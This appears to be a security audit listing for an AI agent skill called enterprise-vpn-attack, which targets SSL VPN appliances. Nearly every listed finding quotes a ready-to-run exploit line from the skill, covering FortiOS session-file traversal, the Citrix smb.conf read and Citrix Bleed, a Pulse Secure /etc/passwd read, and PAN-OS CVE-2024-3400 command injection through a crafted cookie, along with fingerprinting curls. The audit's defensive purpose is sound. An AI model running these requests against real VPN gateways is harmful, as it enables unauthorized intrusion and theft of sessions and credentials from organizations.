enterprise-vpn-attack
Analyzes and exploits vulnerabilities in SSL VPN appliances, providing a comprehensive attack matrix for various platforms.
Install this skill
Security score
The enterprise-vpn-attack skill was audited on May 29, 2026 and we found 83 security issues across 4 threat categories, including 1 critical. Review the findings below before installing.
Categories Tested
Security Issues
Template literal with variable interpolation in command context
| 244 | ```bash |
Curl to non-GitHub URL
| 28 | curl -skI 'https://target/+CSCOE+/logon.html' | head -10 |
Curl to non-GitHub URL
| 36 | curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test' |
Curl to non-GitHub URL
| 37 | curl -sk 'https://target/+CSCOE+/saml/sp/metadata' # 200 = SAML auth enabled |
Curl to non-GitHub URL
| 38 | curl -sk 'https://target/CSCOSSLC/config-auth' # AnyConnect handshake endpoint |
Curl to non-GitHub URL
| 43 | curl -skI 'https://target/remote/login' | head -10 |
Curl to non-GitHub URL
| 51 | curl -skI 'https://target/' | head -10 |
Curl to non-GitHub URL
| 56 | curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+' |
Curl to non-GitHub URL
| 57 | curl -sk 'https://target/menu/neo' # 200 if vulnerable to CVE-2019-19781 era |
Curl to non-GitHub URL
| 62 | curl -skI 'https://target/global-protect/login.esp' | head -10 |
Curl to non-GitHub URL
| 67 | curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}' |
Curl to non-GitHub URL
| 69 | curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+' |
Curl to non-GitHub URL
| 74 | curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10 |
Curl to non-GitHub URL
| 79 | curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+' |
Curl to non-GitHub URL
| 84 | curl -skI 'https://target/cgi-bin/welcome' | head -10 |
Curl to non-GitHub URL
| 91 | curl -skI 'https://target/my.policy' | head -10 |
Curl to non-GitHub URL
| 111 | curl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5 |
Curl to non-GitHub URL
| 114 | curl -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20 |
Curl to non-GitHub URL
| 134 | curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession' |
Curl to non-GitHub URL
| 153 | curl -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt |
Curl to non-GitHub URL
| 158 | curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf' |
Curl to non-GitHub URL
| 169 | curl -sk -X POST 'https://target/ssl-vpn/login.esp' \ |
Curl to non-GitHub URL
| 186 | curl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/' |
Curl to non-GitHub URL
| 204 | curl -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50 |
Curl to non-GitHub URL
| 207 | curl -sk 'https://target/remote/saml/metadata' | head -50 |
Curl to non-GitHub URL
| 210 | curl -sk 'https://target/saml/login' | head -30 |
Curl to non-GitHub URL
| 282 | curl -skI "https://$TARGET/+CSCOE+/logon.html" 2>&1 | head -3 |
Curl to non-GitHub URL
| 283 | curl -sk "https://$TARGET/+CSCOE+/saml/sp/metadata" -o /tmp/cisco_saml.xml; ls -la /tmp/cisco_saml.xml |
Curl to non-GitHub URL
| 284 | curl -sk --path-as-is "https://$TARGET/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest" -o /tmp/cisco_cve.html |
Curl to non-GitHub URL
| 287 | curl -skI "https://$TARGET/remote/login" 2>&1 | head -3 |
Curl to non-GitHub URL
| 288 | curl -sk --path-as-is "https://$TARGET/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" -o /tmp/forti_cve.txt; head -c 200 /tmp/forti_cve.txt |
Curl to non-GitHub URL
| 291 | curl -skI "https://$TARGET/" 2>&1 | head -3 |
Curl to non-GitHub URL
| 292 | curl -sk --path-as-is "https://$TARGET/vpn/../vpns/cfg/smb.conf" -o /tmp/citrix_cve.txt; head -c 200 /tmp/citrix_cve.txt |
Curl to non-GitHub URL
| 294 | curl -sk -X POST -H "Host: $HOST" "https://$TARGET/oauth/idp/.well-known/openid-configuration" -o /tmp/citrix_bleed.txt |
Curl to non-GitHub URL
| 298 | curl -skI "https://$TARGET/global-protect/login.esp" 2>&1 | head -3 |
Curl to non-GitHub URL
| 301 | curl -skI "https://$TARGET/dana-na/auth/url_default/welcome.cgi" 2>&1 | head -3 |
Curl to non-GitHub URL
| 302 | curl -sk --path-as-is "https://$TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/" -o /tmp/pulse_cve.txt; head -c 200 /tmp/pulse_cve.txt |
Access to /etc/passwd
| 179 | | **CVE-2019-11510** | Pulse Connect Secure 8.x-9.x | Arbitrary file read | `GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/` | |
Access to /etc/passwd
| 186 | curl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/' |
Access to /etc/passwd
| 302 | curl -sk --path-as-is "https://$TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/" -o /tmp/pulse_cve.txt; head -c 200 /tmp/pulse_cve.txt |
Path traversal to sensitive directory
| 165 | | **CVE-2024-3400** | PAN-OS 10.2-11.1 with GP enabled | Command injection — pre-auth RCE | `POST /ssl-vpn/login.esp` with crafted Cookie header containing `SESSID=../../../var/log/pan/test.txt` | |
Path traversal to sensitive directory
| 170 | -H 'Cookie: SESSID=../../../var/log/pan/test_$(id)_test.txt' \ |
Path traversal to sensitive directory
| 179 | | **CVE-2019-11510** | Pulse Connect Secure 8.x-9.x | Arbitrary file read | `GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/` | |
Path traversal to sensitive directory
| 186 | curl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/' |
Path traversal to sensitive directory
| 302 | curl -sk --path-as-is "https://$TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/" -o /tmp/pulse_cve.txt; head -c 200 /tmp/pulse_cve.txt |
External URL reference
| 28 | curl -skI 'https://target/+CSCOE+/logon.html' | head -10 |
External URL reference
| 36 | curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test' |
External URL reference
| 37 | curl -sk 'https://target/+CSCOE+/saml/sp/metadata' # 200 = SAML auth enabled |
External URL reference
| 38 | curl -sk 'https://target/CSCOSSLC/config-auth' # AnyConnect handshake endpoint |
External URL reference
| 43 | curl -skI 'https://target/remote/login' | head -10 |
External URL reference
| 51 | curl -skI 'https://target/' | head -10 |
External URL reference
| 56 | curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+' |
External URL reference
| 57 | curl -sk 'https://target/menu/neo' # 200 if vulnerable to CVE-2019-19781 era |
External URL reference
| 62 | curl -skI 'https://target/global-protect/login.esp' | head -10 |
External URL reference
| 67 | curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}' |
External URL reference
| 69 | curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+' |
External URL reference
| 74 | curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10 |
External URL reference
| 79 | curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+' |
External URL reference
| 84 | curl -skI 'https://target/cgi-bin/welcome' | head -10 |
External URL reference
| 91 | curl -skI 'https://target/my.policy' | head -10 |
External URL reference
| 111 | curl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5 |
External URL reference
| 114 | curl -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20 |
External URL reference
| 134 | curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession' |
External URL reference
| 153 | curl -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt |
External URL reference
| 158 | curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf' |
External URL reference
| 169 | curl -sk -X POST 'https://target/ssl-vpn/login.esp' \ |
External URL reference
| 186 | curl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/' |
External URL reference
| 204 | curl -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50 |
External URL reference
| 207 | curl -sk 'https://target/remote/saml/metadata' | head -50 |
External URL reference
| 210 | curl -sk 'https://target/saml/login' | head -30 |
External URL reference
| 248 | -X POST "https://target/+webvpn+/index.html" \ |
External URL reference
| 282 | curl -skI "https://$TARGET/+CSCOE+/logon.html" 2>&1 | head -3 |
External URL reference
| 283 | curl -sk "https://$TARGET/+CSCOE+/saml/sp/metadata" -o /tmp/cisco_saml.xml; ls -la /tmp/cisco_saml.xml |
External URL reference
| 284 | curl -sk --path-as-is "https://$TARGET/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest" -o /tmp/cisco_cve.html |
External URL reference
| 287 | curl -skI "https://$TARGET/remote/login" 2>&1 | head -3 |
External URL reference
| 288 | curl -sk --path-as-is "https://$TARGET/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" -o /tmp/forti_cve.txt; head -c 200 /tmp/forti_cve.txt |
External URL reference
| 291 | curl -skI "https://$TARGET/" 2>&1 | head -3 |
External URL reference
| 292 | curl -sk --path-as-is "https://$TARGET/vpn/../vpns/cfg/smb.conf" -o /tmp/citrix_cve.txt; head -c 200 /tmp/citrix_cve.txt |
External URL reference
| 294 | curl -sk -X POST -H "Host: $HOST" "https://$TARGET/oauth/idp/.well-known/openid-configuration" -o /tmp/citrix_bleed.txt |
External URL reference
| 298 | curl -skI "https://$TARGET/global-protect/login.esp" 2>&1 | head -3 |
External URL reference
| 301 | curl -skI "https://$TARGET/dana-na/auth/url_default/welcome.cgi" 2>&1 | head -3 |
External URL reference
| 302 | curl -sk --path-as-is "https://$TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/" -o /tmp/pulse_cve.txt; head -c 200 /tmp/pulse_cve.txt |
External URL reference
| 312 | nuclei -u https://target/ \ |